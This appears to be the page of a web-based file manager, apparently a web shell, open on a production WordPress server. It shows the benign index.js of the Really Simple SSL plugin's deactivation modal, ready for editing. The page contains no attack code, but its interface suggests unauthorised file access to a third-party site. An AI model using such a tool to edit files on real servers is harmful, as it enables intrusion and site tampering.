┌────────────────────────────────┐ │ ░░░ ░░▓ ░▓▓ ███ ▓▓░ ▓░░ │ │ ~ M O O N ~ │ └────────────────────────────────┘
prd-web-01.centraldc.gr
LOCATION:
/var/www/html/adconect/wp-content/plugins/really-simple-ssl/modal/src
☗ ROOT
↻ REFRESH
✎ EDIT FILE
EDITING: index.js
import { render, createRoot } from '@wordpress/element'; import DeactivationModal from "./components/DeactivationModal/DeactivationModal"; const initModal = () => { const container = document.getElementById( 'rsssl-modal-root' ); if ( container ) { if ( createRoot ) { createRoot( container ).render( <DeactivationModal/> ); } else { render( <DeactivationModal/>, container ); } } }; // Handle both cases - DOM already loaded OR still loading if ( document.readyState === 'loading' ) { // DOM hasn't loaded yet document.addEventListener( 'DOMContentLoaded', initModal ); } else { // DOM is already ready initModal(); }
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📁 components/
DIR
—
2026-05-15 14:18
📄 index.js
JS
700 B
2026-05-15 14:18
EDIT